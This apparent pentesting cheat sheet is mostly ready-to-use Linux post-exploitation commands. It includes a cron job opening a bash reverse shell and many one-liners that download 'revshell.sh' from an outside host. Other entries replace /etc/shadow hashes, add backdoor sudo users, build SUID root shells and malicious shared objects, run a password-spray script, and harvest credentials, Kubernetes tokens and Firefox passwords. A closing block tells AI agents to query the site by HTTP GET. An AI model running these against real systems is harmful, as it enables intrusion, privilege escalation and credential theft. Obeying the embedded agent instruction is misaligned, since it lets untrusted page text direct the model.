# Lateral Movement

## 01. Common Enumerations

{% hint style="info" %}
Most of command extract from \*\*\*\* [**linpeas.sh**](https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)\*\*\*\*
{% endhint %}

### 01.1 OS Enumerations

```bash
## ------------------| OS details
cat /etc/*-release
cat /proc/version
lsb_release -a
hostnamectl

## ------------------| Domain joined ?
cat /etc/krb5.conf
kinit -k host/$(hostname -f)
realm list | grep active-directory
adcli testjoin

## ------------------| Kernel version
uname -a
uname --kernel-name --kernel-release --machine

## ------------------| SUDO version
sudo -V 2>/dev/null | grep "Sudo ver"

## ------------------| System stats / Disk info
(df -h || lsblk) 2>/dev/null

## ------------------| List all services
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null    

## ------------------| Mounted Files 
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "/ /|/null | proc proc |/dev/console"          

## ------------------| USBCreator ?
busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator

## ------------------| ASLR enabled?
cat /proc/sys/kernel/randomize_va_space 2>/dev/null

## ------------------| Virtual environment ?
systemd-detect-virt
grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor

## ------------------| Search socket files
find / -type s 2>/dev/null

## ------------------| Files with capabilities
getcap -r / 2>/dev/null

## ------------------| Set capabilities for file
sudo setcap cap_net_bind_service=+ep $(readlink -f /usr/bin/python3)

## ------------------| Inside lxc container?
cat /proc/1/environ

## ------------------| Inside docker?
find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null

## ------------------| Enumerate Docker Sockets
find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null      
curl -s --unix-socket <socket_path> http://localhost/info

## ------------------| Enumerate on Kubernetes 
### Kubernetes namespace
cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null      
### Kubernetes token
cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null     
### Kubernetes service account folder
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null     
```

### 01.2 User Enumerations

```bash
## ------------------| List user's groups
(id || (whoami && groups)) 2>/dev/null

## ------------------| List user's privileges
sudo -l

## ------------------| List all users
cat /etc/passwd | grep sh$ | awk -F: '{print $1}'

## ------------------| Superusers
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null

## ------------------| Users with console
grep "sh$" /etc/passwd 2>/dev/null | sort 

## ------------------| Login activity
### current logins
(w || who || finger || users) 2>/dev/null
### Last logins
(last -Faiw || last) 2>/dev/null | tail
lastlog 2>/dev/null | grep -v "Never"

## ------------------| Password policy
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null        

## ------------------| Change user password 
echo "h4rithd" | passwd --stdin <user>

## ------------------| Add new user to sudo group
useradd -p $(openssl passwd -1 h4rithd) -m newadmin --groups sudo  

## ------------------| Create user & group with given id
sudo groupadd -g 2017 dummy
sudo useradd dummy -u 2017 -g 2017 -s /bin/bash
```

### 01.3 Process Enumeration

```bash
## ------------------| List all current processes
ps -auxw | less -w
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | grep --color=always -z root        

## ------------------| List all current processes belongs to current user
ps -ef | grep $(whoami) | less -w

## ------------------| Binary processes permissions
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER "            

## ------------------| List all cron jobs
grep "CRON" /var/log/cron.log
cat /etc/crontab
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null 

## ------------------| List files in crontabs
ls -al /var/spool/cron/crontabs/

## ------------------| Create cronjob
* * * * *    root    bash -c 'bash -i >& /dev/tcp/<IP>/<Port> 0>&1'

## ------------------| List all Systemd/Timers
watch -n 1 'systemctl list-timers'
systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" 
### You can get service path by 
find /etc | grep <ACTIVATES>
```

### 01.4 Network Enumeration

```bash
## ------------------| List IP address
ifconfig
ip -c -a -h addrbash
cat /proc/net/fib_trie  | grep '|--'

## ------------------| List arp table
arp -n
cat /proc/net/arp

## ------------------| Kill port connection
fuser -k 4444/tcp

## ------------------| List all listening ports / sockets 
netstat -anlp | grep LIST
(netstat -punta || ss -nltpu || netstat -anv) 2>/dev/null | grep -i listen

## ------------------| Get what service on port
ps -ef | grep <PID>

## ------------------| Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null           

## ------------------| Networks and neighbours
netstat -rn 2>/dev/null
(route || ip n || cat /proc/net/route) 2>/dev/null
(arp -e || arp -a || cat /proc/net/arp) 2>/dev/null

## ------------------| List local networks
ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\."     

## ------------------| Reads network addresses in /proc
cat /proc/net/tcp | awk '{print $1,$2,$3,$4}'
### 0: 00000000:0016 00000000:0000 0A
### |      |      |      |      |   |--> connection state
### |      |      |      |      |------> remote TCP port number
### |      |      |      |-------------> remote IPv4 address
### |      |      |--------------------> local TCP port number
### |      |---------------------------> local IPv4 address
### |----------------------------------> number of entry

## ------------------| Perl script to decode the address at /proc/net/tcp
### Usage prel proc.pl 00000000 0016
#!/usr/bin/perl
my $hexip=$ARGV[0];
my $hexport=$ARGV[1];
print "hex: $hexip\n";
my @ip = map hex($_), ( $hexip =~ m/../g );
my $ip = join('.',reverse(@ip));
my $port = hex($hexport);
print "IP: $ip  PORT: $port\n"; 

## ------------------| Create pcap file
sudo tcpdump -i any -w /tmp/capture.pcap -v
sudo tcpdump -i any -w /tmp/capture.pcap -v -s0
sudo tcpdump -i any -w /tmp/capture.pcap -v icmp
sudo tcpdump -i any -w /tmp/capture.pcap -v port 21
sudo tcpdump -i any -w /tmp/capture.pcap -v not port 22
sudo tcpdump -i any -w /tmp/capture.pcap -v -s0 -nn port 80
```

* Egres Busting Unveiled

```bash
## ------------------| Manual
### From my pc 
sudo tcpdump -i tun0 tcp[13]==2
### From compromise machine
nc -nzv -w 1 <MyIP> 1-1000

## ------------------| From TrustedSec Script
git clone https://github.com/trustedsec/egressbuster.git && cd egressbuster
### From my pc 
python3 egress_listener.py <your_local_ip> <interface_for_listener> 0.0.0.0/0 
### From compromise machine
python3 egressbuster.py <your_local_ip> 1-65536
```

* IPTables

```bash
## ------------------| IPTable
### Active rules [need access]
sudo iptables -L

## ------------------| Flush 
sudo iptables -F          # Clears all rules from all chains
sudo iptables -F INPUT    # Clears all rules in the INPUT chain
sudo iptables -F OUTPUT   # Clears all rules in the OUTPUT chain
sudo iptables -F FORWARD  # Clears all rules in the FORWARD chain
sudo iptables -Z          # Resets packet and byte counters for all chains

## ------------------| Set Default Policies
iptables-save > /dev/shm/fbashirewall.rules
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD DROP

## ------------------| Delete Rules
sudo iptables -L --line-numbers   # List Rules with Line Numbers
sudo iptables -D [INPUT/OUTPUT/..] [LINE_NUMBER]
sudo iptables -D [INPUT/OUTPUT/..] -s [SOURCE] -d [DESTINATION] -p [PROTOCOL] --dport [PORT] -j [ACTION]

## ------------------| Default Files
ls /etc/iptables/
### for IPV4
cat ls /etc/iptables/rules.v4
### for IPV6
cat ls /etc/iptables/rules.v6
### OpenBSD (pf)
find /etc/authpf
/etc/authpf/authpf.conf
/etc/authpf/authpf.rules

## ------------------| Restart
sudo systemctl restart iptables     # For systems with iptables service
sudo systemctl restart firewalld    # For systems with firewalld

## ------------------| Basic Rules
### Allows incoming SSH traffic on port 22
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
### Allows all traffic from IP 192.168.1.100        
sudo iptables -A INPUT -s 192.168.1.100 -j ACCEPT 
### Blocks incoming traffic from IP 203.0.113.5       
sudo iptables -A INPUT -s 203.0.113.5 -j DROP  
### Allows outgoing HTTP traffic on port 80   
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT  
### Sets default policy to DROP for incoming traffic
sudo iptables -P INPUT DROP  
### Allows incoming HTTPS traffic on port 443
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
### Drops traffic from IP 198.51.100.10  
sudo iptables -A INPUT -s 198.51.100.10 -j DROP  
### Allows established/related connections
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT  
### Logs traffic from IP 198.51.100.10
sudo iptables -A INPUT -s 198.51.100.10 -j LOG --log-prefix "Dropped IP: "  

## ------------------| Allow only HTTP and block all including rev shells
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A OUTPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
COMMIT
```

### 01.5 Files / Directories Enumerations

* Common

```bash
## ------------------| List files with advance options
ls -laSrh   # sort by size
ls -lacrh   # sort by change time
ls -laurh   # sort by access time
ls -laRh    # recursive ls
ls -latrh   # sort by date

## ------------------| List attribute
lsattr <DirectoryName>

## ------------------| Get file access control lists
getfacl <DirectoryName>

## ------------------| List files with directories 
find . -type f -ls 2>/dev/null

## ------------------| List files includeing sub directories 
find . -ls -type f 2>/dev/null

## ------------------| List all files with line count
find -type f -exec wc -l {} \; 2>/dev/null | sort -nr

## ------------------| What are in the history files?
cat ~/.*history | less

## ------------------| Last modified file
find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head
```

* SUID/SGID

```bash
## ------------------| List all SUID binary files
### Normal search
find / -perm -4000 -ls 2>/dev/null
### Sort with dates
find / -perm -4000 -printf "%T@\t%Tc %6k KiB %p\n" 2>/dev/null | sort -n | cut -f 2-   

## ------------------| List all SGID binary files
find / -perm -2000 -ls 2>/dev/null
```

* Find hardcode credentials.

```bash
## ------------------| Find Passwords
export GREP_COLOR='1;37;41'
grep --color=always -RiE '(password|pwd|pass)' . --exclude=\*.{css,js,md} 2>/dev/null
grep --color=always -RiE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' *  2>/dev/null
grep --color=always -Rnw '/' -ie "PASSWORD\|PASSWD" –color=always 2>/dev/null

## ------------------| Find Email address
grep -ERIHn --color=always "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" . --exclude=\*.{css} --exclude-dir={node_modules} 2>/dev/null | sed 's/:/ => /'

## ------------------| Find sensitive information in git
git grep -Iin --color=always -E "(password|passwd|pwd|token|secret|key|apikey|api_key|private_key|authorization|auth_token)" $(git rev-list --all) 2>/dev/null
git grep -Iin --color=always -E "(password|passwd|pwd)" $(git rev-list --all) 2>/dev/null
```

* Find with complex

```bash
## ------------------| List files belongs to current group / user
find / -user $(whoami) -ls 2>/dev/null
find / -group $(groups) -ls 2>/dev/null

## ------------------| If you are in multiple groups
for i in $(groups);do find / -group $i -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys';done

## ------------------| Above commands with filter
find / -user $(whoami) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'
find / -group $(groups) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'

## ------------------| Find world-writeable folders
find / -writable -type d -ls 2>/dev/null
find / -perm -222 -type d -ls 2>/dev/null
find / -perm -o w -type d -ls 2>/dev/null

## ------------------| Find world-executable folders
find / -perm -o x -type d -ls 2>/dev/null

## ------------------| Find readable files belonging to root and not world readable
find / -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "/sys\|/boot\|/var\|/etc/\|/run"  

## ------------------| List all files with permisions / owner [beautify]
find . -type f -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t

## ------------------| Find files that were modified in the last 10 days
find / -mtime 10 -ls 2>/dev/null

## ------------------| Find files that were accessed in the last 10 day
find / -atime 10 -ls 2>/dev/null

## ------------------| Find files changed within the last hour (60 minutes)
find / -cmin -60 -ls 2>/dev/null

## ------------------| Find files accesses within the last hour (60 minutes)
find / -amin -60 -ls 2>/dev/null 

## ------------------| Binary placed by user [Interesting] 
for i in /usr/sbin /usr/bin /sbin /bin; do ls -la --time-style=full $i | grep -v '000000000\|->' ; done    

## ------------------| Find modified files between dates.
find / -newermt "2021-11-21" ! -newermt "2021-12-21" -ls 2>/dev/null

## ------------------| Check files which contain password or username keyword
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null
grep --color=auto -rnw '/etc' -ie "USERNAME" --color=always 2> /dev/null

## ------------------| Check ssh-hostkey value
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_rsa_key.pub
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub
```

* Shared Object Injection

```bash
strace /path/to/file 2>&1 | grep -iE "open|access|no such file"
```

* List noexec mounts

```bash
mount | grep noexec
```

* `PATH` Environment variable

```bash
## ------------------| checking
strings /path/to/file
strace -v -f -e execve /path/to/file 2>&1 | grep exec
ltrace /path/to/file

## ------------------| Create vul file
int main() {
    setuid(0);
    system("/bin/bash -p");
}

## ------------------| Execute
PATH=.:$PATH /path/to/file

## ------------------| If bash < 4.2-048 we can inject to absolute path aswell.
strace -v -f -e execve /path/to/file 2>&1
function /path/to/service { /bin/bash -p; }
export -f /path/to/service
/path/to/file
```

* Read audit files

```bash
## ------------------| If you are in adm group
aureport
aureport --help
aureport --tty

find / -group adm -ls 2>/dev/null
cat /var/log/auth.* | grep "Failed password"
cat /var/log/auth.* | grep -oE "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq -c
cat /var/log/auth.* | grep "password" | grep -v 'Failed\|Invalid'
cat /var/log/auth.* | grep -i 'root\|user\|usern\|passw\|pass\|`$(whoami)`' | awk -F: '{print $5}' | sort | uniq -c 
cat /var/log/syslog* | grep -i 'root\|user\|`$(whoami)`\|cron' |awk -F: '{print $5}' | sort | uniq -c
awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' /var/log/auth.* | sort -k2 -rn     
awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(user in users){print user, users[user]}}' /var/log/auth.* | sort -k2 -rn      

## ------------------| Grep username and password
sed -n 's/.*username=\([^&]*\).*password=\([^&]*\).*/\1:\2/p' logfile.txt
```

* Journalctl

```bash
## ------------------| Viewing Logs
### View the most recent logs
sudo journalctl -n 50
### View logs for a specific service
sudo journalctl -u <service-name>
sudo journalctl -xe | grep <service-name>
### Follow logs in real-time (like tail -f)
sudo journalctl -f
### View logs for a specific time range
sudo journalctl --since "2024-11-01" --until "2024-11-08"

## ------------------| Filtering Logs
### Show only error logs
sudo journalctl -p err
sudo journalctl | grep "error"
### Show logs for a specific boot
sudo journalctl -b -1 

## ------------------| Log Rotation & Cleanup
### Remove old journal logs (rotate)
sudo journalctl --rotate
### Remove logs older than 1 second
sudo journalctl --vacuum-time=1s
### Keep only 500MB of logs
sudo journalctl --vacuum-size=500M

## ------------------| Journal Size Management
### Limit the maximum journal size (e.g., to 1GB)
sudo journalctl --vacuum-size=1G
### Show the current disk usage of journal logs
sudo journalctl --disk-usage

## ------------------| Persistent Storage
### Enable persistent journal logs (store logs after reboot)
sudo mkdir -p /var/log/journal
sudo systemctl restart systemd-journald
```

* Recovery file

```bash
## ------------------| Using foremost 
sudo apt-get install foremost 
mkdir /tmp/recov
sudo foremost -q -v -i /dev/sda1 -t <jpeg,txt,..> -o /tmp/recov

#-v  - verbose mode. Logs all messages to screen
#-q  - enables quick mode. Search are performed on 512 byte boundaries.
#-t  - specify file type.  (-t jpeg,pdf ...) 
#-d  - turn on indirect block detection (for UNIX file-systems) 
#-i  - specify input file (default is stdin) 
#-o  - set output directory (defaults to output)
#-Q  - enables quiet mode. Suppress output messages. 

## ------------------| Using lsof [works if inode is still active]
lsof | grep -i deletedFile.txt
```

* Decrypt Mozilla Firefox protected passwords

```bash
git clone https://github.com/lclevy/firepwd.git

python firepwd.py -d /c/Users/..../Profiles/
```

* ZipSlip Expo

```bash
ln -s ../../../../../../etc/passwd document.pdf
zip expo.zip document.pdf 
```

### 01.6 Software / Package Enumerations

```bash
## ------------------| List all installed packages
dpkg -l

## ------------------| Search for compilers
dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"       

## ------------------| Mysql version
mysql --version 2>/dev/null
```

### 01.7 Active Directory

```bash
## ------------------| Check Domain joined ?
cat /etc/krb5.conf

## ------------------| Search credentials/tickets
find / -name *.keytab 2>/dev/null

## ------------------| Request a TGT
kinit <User>@<Domain> -k -t domain.keytab

## ------------------| Check current tickets
klist

## ------------------| Requesting CIFS ticket of Child Domain Controller
kvno cifs\/OPS-ChildDC
```

### 01.8 Other

* Create file with special chars

```bash
touch -- 'echo | hello'
```

* Change root password through replace `/etc/shadow` file.

```bash
## ------------------| Create password 
openssl passwd -6 -salt h4rithd h4rithd123
### -1 --> MD5
### -5 --> SHA256
### -6 --> SHA512
### also you can use it with out salt flag

### Replace the password in /etc/shadow (h4rithd123)
$6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0

sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow

## ------------------| one line : h4rithd123
sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow    
```

* Download file.

```bash
## ------------------| WGET
wget https://10.10.14.25/revshell.sh -O /tmp/revshell.sh

## ------------------| CURL
curl -o /tmp/revshell.sh https://10.10.14.25/revshell.sh

## ------------------| OpenSSL
### Create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem     
### Stand up server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/revshell.sh
### Download file
openssl s_client -connect 10.10.14.25:80 -quiet > revshell.sh

## ------------------| Bash (/dev/tcp)
### Connect to Target's Webserver
exec 3<>/dev/tcp/10.10.10.32/80
### HTTP GET Request
echo -e "GET /revshell.sh HTTP/1.1\n\n">&3
### Print the Response
cat <&3

## ------------------| PHP
### File_get_contents()
php -r '$file = file_get_contents("https://10.10.14.25/revshell.sh"); file_put_contents("revshell.sh",$file);'       
### Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://10.10.14.25/revshell.sh", "rb"); $flocal = fopen("revshell.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'      

## ------------------| Python
### Python2
import urllib
urllib.urlretrieve ("https://10.10.14.25/revshell.sh", "revshell.sh")
### Python3
import urllib.request
urllib.request.urlretrieve("https://10.10.14.25/revshell.sh", "revshell.sh")

## ------------------| Ruby
ruby -e 'require "net/http"; File.write("revshell.sh", Net::HTTP.get(URI.parse("https://10.10.14.25/revshell.sh")))'

## ------------------| Perl
perl -e 'use LWP::Simple; getstore("https://10.10.14.25/revshell.sh", "revshell.sh");'
```

* LUKS mount / unmount (**L**inux **U**nified **K**ey **S**etup)

```bash
# ------------------| Mount
sudo cryptsetup luksOpen backup.img backup
sudo mount /dev/mapper/backup /mnt/
 
# ------------------| Unmount
sudo umount -l /mnt/
sudo cryptsetup luksClose backup 
```

* Is there any `PAM-Wordle`?

```bash
# ------------------| Find so file
find / 2>/dev/null | grep wordle
find /{usr,etc} -type f -printf "%T+ %p\n" 2>/dev/null | grep -v '000'| grep so$

# ------------------| Find words
strings <file>
```

## 02. Commands & Scripts

### 02.1 Commands

* [Setup Linux machine as router](https://youtu.be/_8FE3JZIPfo) (Forward OpenVpn traffic to windows machine)

```bash
# ------------------| On Linux machine
### Check ip forwording is enabled 
sudo sysctl -a | grep ip_forward 
## if the value is 1 you are good!! if not execute following command
sudo echo "1" > /proc/sys/net/ipv4/ip_forward
### IP Table rules
sudo iptables -A FORWARD -i tun0 -o eth0 -m state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s <eth0IP>/24 -o tun0 -j MASQUERADE

# ------------------| On Windows machine
rout add 10.10.10.0 mask 255.255.254.0 <linuxBox_eth0IP>
ping 10.10.10.2
```

* Grant to SUID to `dash` or `vi`

```bash
# ------------------| OneCommand
sudo chmod 4755 $(which dash)
sudo chmod 4755 $(which bash)
sudo chmod 4755 $(which less)
sudo chmod 4755 $(readlink $(which vi))
# ------------------| OtherWays
sudo chmod u+s /bin/bash
sudo chmod u+s /bin/dash

sudo cp /bin/dash /tmp/dash
sudo chmod 4555 /tmp/dash
sudo chown root /tmp/dash
/tmp/dash -p
```

* Copy file via SSH

```bash
## ------------------| Syntax
scp <source>:<path> <destination>:<path>
## To copy a file from B to A while logged into B:
scp /path/to/file username@a:/path/to/destination
## To copy a file from B to A while logged into A:
scp username@b:/path/to/file /path/to/destination

## ------------------| rsync
rsync -avz -e ssh <destination>:<path> <source>:<path>

## ------------------| Alternates 
sudo apt-get install sshfs

## ------------------| Create an empty dir
mkdir /tmp/testdir 
### "link" or "mount" the two directories
sshfs user@server.com:/remote/dir /tmp/testdir 
### "unlink" the dirs
fusermount -u /home/user/testdir
umount mountpoint
diskutil unmount mountpoint
```

### 02.2 Port Knocking

```bash
## ------------------| Files
ls /etc/init.d/ | grep knock

## ------------------| Using above file we can find the config file
/etc/default/knockd
/etc/knockd.conf

## ------------------| Config file look like this. to open port 22 we need to knock port 571, 290 and 991     
[openSSH]
 sequence = 571, 290, 911
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

## ------------------| Port Knocking using nmap
for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43 ; done  
```

### 02.3 Scripts

* [Password spray on users](https://youtu.be/jj4r5lwnCp8?t=1412)

```bash
#!/bin/bash

spray() {
    users=$(awk -F: '{ if ($NF ~ /sh$/) print $1 }' /etc/passwd)
    for user in $users; do
        echo "$1" |timeout 2 su $user -c whoami 2>/dev/null
        if [[ $? -eq 0 ]]; then
            exit
        fi
    done
}

spray $1
```

* Create SUID sudo

```c
// gcc -o sroot sroot.c
int main(void)
{
   setuid(0);
   setgid(0);
   printf("\n-----| by h4rithd.com |-----\n\n");
   system("/bin/bash -p");
}

// chown root:root /tmp/sroot; chmod 4755 /tmp/sroot
// or chmod u+s /bin/bash

// SUID = 4xxx filename
// SGID = 2xxx filename
// Both = 6xxx filename

// for i in {1..100}; do ls -al /tmp/sroot;date ;sleep .2; done
// watch -n 2 -d ls -l .
```

* Process Monitor

```bash
#!/bin/bash

IFS=$'\n' # Loop by line

old_process=$(ps -eo command)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
    sleep 1
    old_process=$new_process
done

# nano prcmon.sh
# chmod +x prcmon.sh; ./prcmon.sh
```

* List file for sleep 5

```bash
for i in {1..100}; do ls -al /tmp/sroot;date ;sleep 5; done
```

* Ping sweep

```bash
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 
```

```bash
#!/bin/bash

ip=172.20.0

for i in $(seq 2 255);
do
    ping -c 1 -W 1 $ip.$i 1>/dev/null 2>&1
    if [[ $? -eq 0 ]];
    then
        echo "[+]  $ip.$i  - is Alive!"
    fi
done
```

* Scan live ports

```bash
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null       
```

```bash
#!/bin/bash

ip=127.0.0.1

for port in $(seq 1 65535);
do
    timeout .1 bash -c "echo > /dev/tcp/$ip/$port" &&
        echo "[+]  $ip : $port  - is Open!"
done
echo "==========[ Finished ]============"
```

* Shared Object Shell (.so)

```bash
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

## gcc -shared -o libcounter.so -fPIC libcounter.c
```

### 02.4 Web servers

```bash
## ------------------| Python
python2 -m SimpleHTTPServer 8080
python3 -m http.server 8080

## ------------------| Ruby
ruby -run -ehttpd . -p8080

## ------------------| PHP
php -S 0.0.0.0:8080

## ------------------| Socat
socat TCP-LISTEN:8080,reuseaddr,fork
```

### 02.5 Sed Commands

```bash
## ------------------| Remove new line 
sed -z 's/\n//g' filename

## ------------------| Insert text to the 1st line of a file 
sed '1 i addthisword' filename

## ------------------| Delete first characher each line 
sed 's/^..//' filename

## ------------------| Delete last characher each line 
sed 's/.$//g' filename

## ------------------| Delete last line or footer line or trailer line
sed '$d' file

## ------------------| Delete particular line
sed '2d' file

## ------------------| Delete range of lines
sed '2,4d' file

## ------------------| Delete lines other than the first line or header line
sed '1!d' file

## ------------------| Delete lines other than last line or footer line
sed '$!d' file

## ------------------| Delete lines other than the specified range
sed '2,4!d' file

## ------------------| Delete first and last line
sed '1d;$d' file

## ------------------| Delete empty lines or blank lines
sed '/^$/d' file

## ------------------| Delete lines that begin with specified character
sed '/^u/d' file

## ------------------| Delete lines that end with specified character
sed '/x$/d' file

## ------------------| Delete lines that contain a pattern
sed '/debian/d' file
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/linux/basic-commands.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
